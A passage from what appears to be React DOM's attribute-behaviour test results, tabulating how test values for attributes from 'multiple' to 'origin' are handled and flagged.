`multiple=(integer)`| (changed)| `<boolean: true>` |\n| `multiple=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `multiple=(float)`| (changed)| `<boolean: true>` |\n| `multiple=(true)`| (changed)| `<boolean: true>` |\n| `multiple=(false)`| (initial)| `<boolean: false>` |\n| `multiple=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `multiple=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `multiple=(string 'on')`| (changed)| `<boolean: true>` |\n| `multiple=(string 'off')`| (changed)| `<boolean: true>` |\n| `multiple=(symbol)`| (changed, warning, ssr mismatch)| `<boolean: true>` |\n| `multiple=(function)`| (changed, warning, ssr mismatch)| `<boolean: true>` |\n| `multiple=(null)`| (initial)| `<boolean: false>` |\n| `multiple=(undefined)`| (initial)| `<boolean: false>` |\n\n## `muted` (on `<video>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `muted=(string)`| (changed)| `<boolean: true>` |\n| `muted=(empty string)`| (initial)| `<boolean: false>` |\n| `muted=(array with string)`| (changed)| `<boolean: true>` |\n| `muted=(empty array)`| (changed)| `<boolean: true>` |\n| `muted=(object)`| (changed)| `<boolean: true>` |\n| `muted=(numeric string)`| (changed)| `<boolean: true>` |\n| `muted=(-1)`| (changed)| `<boolean: true>` |\n| `muted=(0)`| (initial)| `<boolean: false>` |\n| `muted=(integer)`| (changed)| `<boolean: true>` |\n| `muted=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `muted=(float)`| (changed)| `<boolean: true>` |\n| `muted=(true)`| (changed)| `<boolean: true>` |\n| `muted=(false)`| (initial)| `<boolean: false>` |\n| `muted=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `muted=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `muted=(string 'on')`| (changed)| `<boolean: true>` |\n| `muted=(string 'off')`| (changed)| `<boolean: true>` |\n| `muted=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `muted=(function)`| (initial, warning)| `<boolean: false>` |\n| `muted=(null)`| (initial)| `<boolean: false>` |\n| `muted=(undefined)`| (initial)| `<boolean: false>` |\n\n## `name` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `name=(string)`| (changed)| `\"a string\"` |\n| `name=(empty string)`| (initial)| `<empty string>` |\n| `name=(array with string)`| (changed)| `\"string\"` |\n| `name=(empty array)`| (initial)| `<empty string>` |\n| `name=(object)`| (changed)| `\"result of toString()\"` |\n| `name=(numeric string)`| (changed)| `\"42\"` |\n| `name=(-1)`| (changed)| `\"-1\"` |\n| `name=(0)`| (changed)| `\"0\"` |\n| `name=(integer)`| (changed)| `\"1\"` |\n| `name=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `name=(float)`| (changed)| `\"99.99\"` |\n| `name=(true)`| (initial, warning)| `<empty string>` |\n| `name=(false)`| (initial, warning)| `<empty string>` |\n| `name=(string 'true')`| (changed)| `\"true\"` |\n| `name=(string 'false')`| (changed)| `\"false\"` |\n| `name=(string 'on')`| (changed)| `\"on\"` |\n| `name=(string 'off')`| (changed)| `\"off\"` |\n| `name=(symbol)`| (initial, warning)| `<empty string>` |\n| `name=(function)`| (initial, warning)| `<empty string>` |\n| `name=(null)`| (initial)| `<empty string>` |\n| `name=(undefined)`| (initial)| `<empty string>` |\n\n## `name` (on `<color-profile>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `name=(string)`| (initial)| `<null>` |\n| `name=(empty string)`| (initial)| `<null>` |\n| `name=(array with string)`| (initial)| `<null>` |\n| `name=(empty array)`| (initial)| `<null>` |\n| `name=(object)`| (initial)| `<null>` |\n| `name=(numeric string)`| (initial)| `<null>` |\n| `name=(-1)`| (initial)| `<null>` |\n| `name=(0)`| (initial)| `<null>` |\n| `name=(integer)`| (initial)| `<null>` |\n| `name=(NaN)`| (initial, warning)| `<null>` |\n| `name=(float)`| (initial)| `<null>` |\n| `name=(true)`| (initial, warning)| `<null>` |\n| `name=(false)`| (initial, warning)| `<null>` |\n| `name=(string 'true')`| (initial)| `<null>` |\n| `name=(string 'false')`| (initial)| `<null>` |\n| `name=(string 'on')`| (initial)| `<null>` |\n| `name=(string 'off')`| (initial)| `<null>` |\n| `name=(symbol)`| (initial, warning)| `<null>` |\n| `name=(function)`| (initial, warning)| `<null>` |\n| `name=(null)`| (initial)| `<null>` |\n| `name=(undefined)`| (initial)| `<null>` |\n\n## `noModule` (on `<script>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `noModule=(string)`| (changed)| `<boolean: true>` |\n| `noModule=(empty string)`| (initial)| `<boolean: false>` |\n| `noModule=(array with string)`| (changed)| `<boolean: true>` |\n| `noModule=(empty array)`| (changed)| `<boolean: true>` |\n| `noModule=(object)`| (changed)| `<boolean: true>` |\n| `noModule=(numeric string)`| (changed)| `<boolean: true>` |\n| `noModule=(-1)`| (changed)| `<boolean: true>` |\n| `noModule=(0)`| (initial)| `<boolean: false>` |\n| `noModule=(integer)`| (changed)| `<boolean: true>` |\n| `noModule=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `noModule=(float)`| (changed)| `<boolean: true>` |\n| `noModule=(true)`| (changed)| `<boolean: true>` |\n| `noModule=(false)`| (initial)| `<boolean: false>` |\n| `noModule=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `noModule=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `noModule=(string 'on')`| (changed)| `<boolean: true>` |\n| `noModule=(string 'off')`| (changed)| `<boolean: true>` |\n| `noModule=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `noModule=(function)`| (initial, warning)| `<boolean: false>` |\n| `noModule=(null)`| (initial)| `<boolean: false>` |\n| `noModule=(undefined)`| (initial)| `<boolean: false>` |\n\n## `nonce` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `nonce=(string)`| (changed)| `\"a string\"` |\n| `nonce=(empty string)`| (changed)| `<empty string>` |\n| `nonce=(array with string)`| (changed)| `\"string\"` |\n| `nonce=(empty array)`| (changed)| `<empty string>` |\n| `nonce=(object)`| (changed)| `\"result of toString()\"` |\n| `nonce=(numeric string)`| (changed)| `\"42\"` |\n| `nonce=(-1)`| (changed)| `\"-1\"` |\n| `nonce=(0)`| (changed)| `\"0\"` |\n| `nonce=(integer)`| (changed)| `\"1\"` |\n| `nonce=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `nonce=(float)`| (changed)| `\"99.99\"` |\n| `nonce=(true)`| (initial, warning)| `<null>` |\n| `nonce=(false)`| (initial, warning)| `<null>` |\n| `nonce=(string 'true')`| (changed)| `\"true\"` |\n| `nonce=(string 'false')`| (changed)| `\"false\"` |\n| `nonce=(string 'on')`| (changed)| `\"on\"` |\n| `nonce=(string 'off')`| (changed)| `\"off\"` |\n| `nonce=(symbol)`| (initial, warning)| `<null>` |\n| `nonce=(function)`| (initial, warning)| `<null>` |\n| `nonce=(null)`| (initial)| `<null>` |\n| `nonce=(undefined)`| (initial)| `<null>` |\n\n## `noValidate` (on `<form>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `noValidate=(string)`| (changed)| `<boolean: true>` |\n| `noValidate=(empty string)`| (initial)| `<boolean: false>` |\n| `noValidate=(array with string)`| (changed)| `<boolean: true>` |\n| `noValidate=(empty array)`| (changed)| `<boolean: true>` |\n| `noValidate=(object)`| (changed)| `<boolean: true>` |\n| `noValidate=(numeric string)`| (changed)| `<boolean: true>` |\n| `noValidate=(-1)`| (changed)| `<boolean: true>` |\n| `noValidate=(0)`| (initial)| `<boolean: false>` |\n| `noValidate=(integer)`| (changed)| `<boolean: true>` |\n| `noValidate=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `noValidate=(float)`| (changed)| `<boolean: true>` |\n| `noValidate=(true)`| (changed)| `<boolean: true>` |\n| `noValidate=(false)`| (initial)| `<boolean: false>` |\n| `noValidate=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `noValidate=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `noValidate=(string 'on')`| (changed)| `<boolean: true>` |\n| `noValidate=(string 'off')`| (changed)| `<boolean: true>` |\n| `noValidate=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `noValidate=(function)`| (initial, warning)| `<boolean: false>` |\n| `noValidate=(null)`| (initial)| `<boolean: false>` |\n| `noValidate=(undefined)`| (initial)| `<boolean: false>` |\n\n## `numOctaves` (on `<feTurbulence>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `numOctaves=(string)`| (initial)| `<number: 1>` |\n| `numOctaves=(empty string)`| (changed)| `<number: 0>` |\n| `numOctaves=(array with string)`| (initial)| `<number: 1>` |\n| `numOctaves=(empty array)`| (changed)| `<number: 0>` |\n| `numOctaves=(object)`| (initial)| `<number: 1>` |\n| `numOctaves=(numeric string)`| (changed)| `<number: 42>` |\n| `numOctaves=(-1)`| (changed)| `<number: -1>` |\n| `numOctaves=(0)`| (changed)| `<number: 0>` |\n| `numOctaves=(integer)`| (initial)| `<number: 1>` |\n| `numOctaves=(NaN)`| (initial, warning)| `<number: 1>` |\n| `numOctaves=(float)`| (initial)| `<number: 1>` |\n| `numOctaves=(true)`| (initial, warning)| `<number: 1>` |\n| `numOctaves=(false)`| (initial, warning)| `<number: 1>` |\n| `numOctaves=(string 'true')`| (initial)| `<number: 1>` |\n| `numOctaves=(string 'false')`| (initial)| `<number: 1>` |\n| `numOctaves=(string 'on')`| (initial)| `<number: 1>` |\n| `numOctaves=(string 'off')`| (initial)| `<number: 1>` |\n| `numOctaves=(symbol)`| (initial, warning)| `<number: 1>` |\n| `numOctaves=(function)`| (initial, warning)| `<number: 1>` |\n| `numOctaves=(null)`| (initial)| `<number: 1>` |\n| `numOctaves=(undefined)`| (initial)| `<number: 1>` |\n\n## `offset` (on `<stop>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `offset=(string)`| (initial)| `<number: 0>` |\n| `offset=(empty string)`| (initial)| `<number: 0>` |\n| `offset=(array with string)`| (initial)| `<number: 0>` |\n| `offset=(empty array)`| (initial)| `<number: 0>` |\n| `offset=(object)`| (initial)| `<number: 0>` |\n| `offset=(numeric string)`| (changed)| `<number: 42>` |\n| `offset=(-1)`| (changed)| `<number: -1>` |\n| `offset=(0)`| (initial)| `<number: 0>` |\n| `offset=(integer)`| (changed)| `<number: 1>` |\n| `offset=(NaN)`| (initial, warning)| `<number: 0>` |\n| `offset=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `offset=(true)`| (initial, warning)| `<number: 0>` |\n| `offset=(false)`| (initial, warning)| `<number: 0>` |\n| `offset=(string 'true')`| (initial)| `<number: 0>` |\n| `offset=(string 'false')`| (initial)| `<number: 0>` |\n| `offset=(string 'on')`| (initial)| `<number: 0>` |\n| `offset=(string 'off')`| (initial)| `<number: 0>` |\n| `offset=(symbol)`| (initial, warning)| `<number: 0>` |\n| `offset=(function)`| (initial, warning)| `<number: 0>` |\n| `offset=(null)`| (initial)| `<number: 0>` |\n| `offset=(undefined)`| (initial)| `<number: 0>` |\n\n## `on-click` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `on-click=(string)`| (initial, warning)| `<undefined>` |\n| `on-click=(empty string)`| (initial, warning)| `<undefined>` |\n| `on-click=(array with string)`| (initial, warning)| `<undefined>` |\n| `on-click=(empty array)`| (initial, warning)| `<undefined>` |\n| `on-click=(object)`| (initial, warning)| `<undefined>` |\n| `on-click=(numeric string)`| (initial, warning)| `<undefined>` |\n| `on-click=(-1)`| (initial, warning)| `<undefined>` |\n| `on-click=(0)`| (initial, warning)| `<undefined>` |\n| `on-click=(integer)`| (initial, warning)| `<undefined>` |\n| `on-click=(NaN)`| (initial, warning)| `<undefined>` |\n| `on-click=(float)`| (initial, warning)| `<undefined>` |\n| `on-click=(true)`| (initial, warning)| `<undefined>` |\n| `on-click=(false)`| (initial, warning)| `<undefined>` |\n| `on-click=(string 'true')`| (initial, warning)| `<undefined>` |\n| `on-click=(string 'false')`| (initial, warning)| `<undefined>` |\n| `on-click=(string 'on')`| (initial, warning)| `<undefined>` |\n| `on-click=(string 'off')`| (initial, warning)| `<undefined>` |\n| `on-click=(symbol)`| (initial, warning)| `<undefined>` |\n| `on-click=(function)`| (initial, warning)| `<undefined>` |\n| `on-click=(null)`| (initial, warning)| `<undefined>` |\n| `on-click=(undefined)`| (initial, warning)| `<undefined>` |\n\n## `on-unknownevent` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `on-unknownevent=(string)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(empty string)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(array with string)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(empty array)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(object)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(numeric string)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(-1)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(0)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(integer)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(NaN)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(float)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(true)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(false)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(string 'true')`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(string 'false')`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(string 'on')`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(string 'off')`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(symbol)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(function)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(null)`| (initial, warning)| `<undefined>` |\n| `on-unknownevent=(undefined)`| (initial, warning)| `<undefined>` |\n\n## `onclick` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `onclick=(string)`| (initial, warning)| `<null>` |\n| `onclick=(empty string)`| (initial, warning)| `<null>` |\n| `onclick=(array with string)`| (initial, warning)| `<null>` |\n| `onclick=(empty array)`| (initial, warning)| `<null>` |\n| `onclick=(object)`| (initial, warning)| `<null>` |\n| `onclick=(numeric string)`| (initial, warning)| `<null>` |\n| `onclick=(-1)`| (initial, warning)| `<null>` |\n| `onclick=(0)`| (initial, warning)| `<null>` |\n| `onclick=(integer)`| (initial, warning)| `<null>` |\n| `onclick=(NaN)`| (initial, warning)| `<null>` |\n| `onclick=(float)`| (initial, warning)| `<null>` |\n| `onclick=(true)`| (initial, warning)| `<null>` |\n| `onclick=(false)`| (initial, warning)| `<null>` |\n| `onclick=(string 'true')`| (initial, warning)| `<null>` |\n| `onclick=(string 'false')`| (initial, warning)| `<null>` |\n| `onclick=(string 'on')`| (initial, warning)| `<null>` |\n| `onclick=(string 'off')`| (initial, warning)| `<null>` |\n| `onclick=(symbol)`| (initial, warning)| `<null>` |\n| `onclick=(function)`| (initial, warning)| `<null>` |\n| `onclick=(null)`| (initial, warning)| `<null>` |\n| `onclick=(undefined)`| (initial, warning)| `<null>` |\n\n## `onClick` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `onClick=(string)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(empty string)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(array with string)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(empty array)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(object)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(numeric string)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(-1)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(0)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(integer)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(NaN)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(float)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(true)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(false)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(string 'true')`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(string 'false')`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(string 'on')`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(string 'off')`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(symbol)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onClick=(function)`| (initial)| `<undefined>` |\n| `onClick=(null)`| (initial)| `<undefined>` |\n| `onClick=(undefined)`| (initial)| `<undefined>` |\n\n## `onunknownevent` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `onunknownevent=(string)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(empty string)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(array with string)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(empty array)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(object)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(numeric string)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(-1)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(0)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(integer)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(NaN)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(float)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(true)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(false)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(string 'true')`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(string 'false')`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(string 'on')`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(string 'off')`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(symbol)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(function)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(null)`| (initial, warning)| `<undefined>` |\n| `onunknownevent=(undefined)`| (initial, warning)| `<undefined>` |\n\n## `onUnknownEvent` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `onUnknownEvent=(string)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(empty string)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(array with string)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(empty array)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(object)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(numeric string)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(-1)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(0)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(integer)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(NaN)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(float)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(true)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(false)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(string 'true')`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(string 'false')`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(string 'on')`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(string 'off')`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(symbol)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(function)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(null)`| (initial, warning, ssr warning)| `<undefined>` |\n| `onUnknownEvent=(undefined)`| (initial, warning, ssr warning)| `<undefined>` |\n\n## `opacity` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `opacity=(string)`| (changed)| `\"a string\"` |\n| `opacity=(empty string)`| (changed)| `<empty string>` |\n| `opacity=(array with string)`| (changed)| `\"string\"` |\n| `opacity=(empty array)`| (changed)| `<empty string>` |\n| `opacity=(object)`| (changed)| `\"result of toString()\"` |\n| `opacity=(numeric string)`| (changed)| `\"42\"` |\n| `opacity=(-1)`| (changed)| `\"-1\"` |\n| `opacity=(0)`| (changed)| `\"0\"` |\n| `opacity=(integer)`| (changed)| `\"1\"` |\n| `opacity=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `opacity=(float)`| (changed)| `\"99.99\"` |\n| `opacity=(true)`| (initial, warning)| `<null>` |\n| `opacity=(false)`| (initial, warning)| `<null>` |\n| `opacity=(string 'true')`| (changed)| `\"true\"` |\n| `opacity=(string 'false')`| (changed)| `\"false\"` |\n| `opacity=(string 'on')`| (changed)| `\"on\"` |\n| `opacity=(string 'off')`| (changed)| `\"off\"` |\n| `opacity=(symbol)`| (initial, warning)| `<null>` |\n| `opacity=(function)`| (initial, warning)| `<null>` |\n| `opacity=(null)`| (initial)| `<null>` |\n| `opacity=(undefined)`| (initial)| `<null>` |\n\n## `open` (on `<details>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `open=(string)`| (changed)| `<boolean: true>` |\n| `open=(empty string)`| (initial)| `<boolean: false>` |\n| `open=(array with string)`| (changed)| `<boolean: true>` |\n| `open=(empty array)`| (changed)| `<boolean: true>` |\n| `open=(object)`| (changed)| `<boolean: true>` |\n| `open=(numeric string)`| (changed)| `<boolean: true>` |\n| `open=(-1)`| (changed)| `<boolean: true>` |\n| `open=(0)`| (initial)| `<boolean: false>` |\n| `open=(integer)`| (changed)| `<boolean: true>` |\n| `open=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `open=(float)`| (changed)| `<boolean: true>` |\n| `open=(true)`| (changed)| `<boolean: true>` |\n| `open=(false)`| (initial)| `<boolean: false>` |\n| `open=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `open=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `open=(string 'on')`| (changed)| `<boolean: true>` |\n| `open=(string 'off')`| (changed)| `<boolean: true>` |\n| `open=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `open=(function)`| (initial, warning)| `<boolean: false>` |\n| `open=(null)`| (initial)| `<boolean: false>` |\n| `open=(undefined)`| (initial)| `<boolean: false>` |\n\n## `operator` (on `<feComposite>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `operator=(string)`| (changed)| `<number: 5>` |\n| `operator=(empty string)`| (initial)| `<number: 1>` |\n| `operator=(array with string)`| (changed)| `<number: 5>` |\n| `operator=(empty array)`| (initial)| `<number: 1>` |\n| `operator=(object)`| (initial)| `<number: 1>` |\n| `operator=(numeric string)`| (initial)| `<number: 1>` |\n| `operator=(-1)`| (initial)| `<number: 1>` |\n| `operator=(0)`| (initial)| `<number: 1>` |\n| `operator=(integer)`| (initial)| `<number: 1>` |\n| `operator=(NaN)`| (initial, warning)| `<number: 1>` |\n| `operator=(float)`| (initial)| `<number: 1>` |\n| `operator=(true)`| (initial, warning)| `<number: 1>` |\n| `operator=(false)`| (initial, warning)| `<number: 1>` |\n| `operator=(string 'true')`| (initial)| `<number: 1>` |\n| `operator=(string 'false')`| (initial)| `<number: 1>` |\n| `operator=(string 'on')`| (initial)| `<number: 1>` |\n| `operator=(string 'off')`| (initial)| `<number: 1>` |\n| `operator=(symbol)`| (initial, warning)| `<number: 1>` |\n| `operator=(function)`| (initial, warning)| `<number: 1>` |\n| `operator=(null)`| (initial)| `<number: 1>` |\n| `operator=(undefined)`| (initial)| `<number: 1>` |\n\n## `optimum` (on `<meter>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `optimum=(string)`| (initial)| `<number: 0.5>` |\n| `optimum=(empty string)`| (initial)| `<number: 0.5>` |\n| `optimum=(array with string)`| (initial)| `<number: 0.5>` |\n| `optimum=(empty array)`| (initial)| `<number: 0.5>` |\n| `optimum=(object)`| (initial)| `<number: 0.5>` |\n| `optimum=(numeric string)`| (changed)| `<number: 1>` |\n| `optimum=(-1)`| (changed)| `<number: 0>` |\n| `optimum=(0)`| (changed)| `<number: 0>` |\n| `optimum=(integer)`| (changed)| `<number: 1>` |\n| `optimum=(NaN)`| (initial, warning)| `<number: 0.5>` |\n| `optimum=(float)`| (changed)| `<number: 1>` |\n| `optimum=(true)`| (initial, warning)| `<number: 0.5>` |\n| `optimum=(false)`| (initial, warning)| `<number: 0.5>` |\n| `optimum=(string 'true')`| (initial)| `<number: 0.5>` |\n| `optimum=(string 'false')`| (initial)| `<number: 0.5>` |\n| `optimum=(string 'on')`| (initial)| `<number: 0.5>` |\n| `optimum=(string 'off')`| (initial)| `<number: 0.5>` |\n| `optimum=(symbol)`| (initial, warning)| `<number: 0.5>` |\n| `optimum=(function)`| (initial, warning)| `<number: 0.5>` |\n| `optimum=(null)`| (initial)| `<number: 0.5>` |\n| `optimum=(undefined)`| (initial)| `<number: 0.5>` |\n\n## `order` (on `<feConvolveMatrix>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `order=(string)`| (changed)| `\"a string\"` |\n| `order=(empty string)`| (changed)| `<empty string>` |\n| `order=(array with string)`| (changed)| `\"string\"` |\n| `order=(empty array)`| (changed)| `<empty string>` |\n| `order=(object)`| (changed)| `\"result of toString()\"` |\n| `order=(numeric string)`| (changed)| `\"42\"` |\n| `order=(-1)`| (changed)| `\"-1\"` |\n| `order=(0)`| (changed)| `\"0\"` |\n| `order=(integer)`| (changed)| `\"1\"` |\n| `order=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `order=(float)`| (changed)| `\"99.99\"` |\n| `order=(true)`| (initial, warning)| `<null>` |\n| `order=(false)`| (initial, warning)| `<null>` |\n| `order=(string 'true')`| (changed)| `\"true\"` |\n| `order=(string 'false')`| (changed)| `\"false\"` |\n| `order=(string 'on')`| (changed)| `\"on\"` |\n| `order=(string 'off')`| (changed)| `\"off\"` |\n| `order=(symbol)`| (initial, warning)| `<null>` |\n| `order=(function)`| (initial, warning)| `<null>` |\n| `order=(null)`| (initial)| `<null>` |\n| `order=(undefined)`| (initial)| `<null>` |\n\n## `orient` (on `<marker>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `orient=(string)`| (changed)| `\"a string\"` |\n| `orient=(empty string)`| (changed)| `<empty string>` |\n| `orient=(array with string)`| (changed)| `\"string\"` |\n| `orient=(empty array)`| (changed)| `<empty string>` |\n| `orient=(object)`| (changed)| `\"result of toString()\"` |\n| `orient=(numeric string)`| (changed)| `\"42\"` |\n| `orient=(-1)`| (changed)| `\"-1\"` |\n| `orient=(0)`| (changed)| `\"0\"` |\n| `orient=(integer)`| (changed)| `\"1\"` |\n| `orient=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `orient=(float)`| (changed)| `\"99.99\"` |\n| `orient=(true)`| (initial, warning)| `<null>` |\n| `orient=(false)`| (initial, warning)| `<null>` |\n| `orient=(string 'true')`| (changed)| `\"true\"` |\n| `orient=(string 'false')`| (changed)| `\"false\"` |\n| `orient=(string 'on')`| (changed)| `\"on\"` |\n| `orient=(string 'off')`| (changed)| `\"off\"` |\n| `orient=(symbol)`| (initial, warning)| `<null>` |\n| `orient=(function)`| (initial, warning)| `<null>` |\n| `orient=(null)`| (initial)| `<null>` |\n| `orient=(undefined)`| (initial)| `<null>` |\n\n## `orientation` (on `<glyph>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `orientation=(string)`| (changed)| `\"a string\"` |\n| `orientation=(empty string)`| (changed)| `<empty string>` |\n| `orientation=(array with string)`| (changed)| `\"string\"` |\n| `orientation=(empty array)`| (changed)| `<empty string>` |\n| `orientation=(object)`| (changed)| `\"result of toString()\"` |\n| `orientation=(numeric string)`| (changed)| `\"42\"` |\n| `orientation=(-1)`| (changed)| `\"-1\"` |\n| `orientation=(0)`| (changed)| `\"0\"` |\n| `orientation=(integer)`| (changed)| `\"1\"` |\n| `orientation=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `orientation=(float)`| (changed)| `\"99.99\"` |\n| `orientation=(true)`| (initial, warning)| `<null>` |\n| `orientation=(false)`| (initial, warning)| `<null>` |\n| `orientation=(string 'true')`| (changed)| `\"true\"` |\n| `orientation=(string 'false')`| (changed)| `\"false\"` |\n| `orientation=(string 'on')`| (changed)| `\"on\"` |\n| `orientation=(string 'off')`| (changed)| `\"off\"` |\n| `orientation=(symbol)`| (initial, warning)| `<null>` |\n| `orientation=(function)`| (initial, warning)| `<null>` |\n| `orientation=(null)`| (initial)| `<null>` |\n| `orientation=(undefined)`| (initial)| `<null>` |\n\n## `origin` (on `<animateMotion>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `origin=(string)`| (changed)| `\"a string\"` |\n| `origin=(empty string)`| (changed)| `<empty string>` |\n| `origin=(array with string)`| (changed)| `\"string\"` |\n| `origin=(empty array)`| (changed)| `<empty string>` |\n| `origin=(object)`| (changed)| `\"result of toString()\"` |\n| `origin=(numeric string)`| (changed)| `\"42\"` |\n| `origin=(-1)`| (changed)| `\"-1\"` |\n| `origin=(0)`| (changed)| `\"0\"` |\n| `origin=(integer)`| 